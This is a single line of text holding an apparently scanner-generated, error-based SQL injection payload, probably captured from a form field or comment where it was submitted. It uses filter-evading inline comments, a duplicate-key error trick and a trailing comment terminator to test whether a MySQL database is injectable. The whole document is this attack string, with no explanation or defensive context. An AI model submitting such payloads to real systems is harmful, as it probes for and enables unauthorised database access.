1′ AND ,(SELECT/**/8317/**/FROM/**/(SELECT/**/ROW(8317,7320)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(8317=8317,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2782/**/UNION/**/SELECT/**/1443/**/UNION/**/SELECT/**/6250/**/UNION/**/SELECT/**/1139)a/**/GROUP/**/BY/**/x))s)– – 1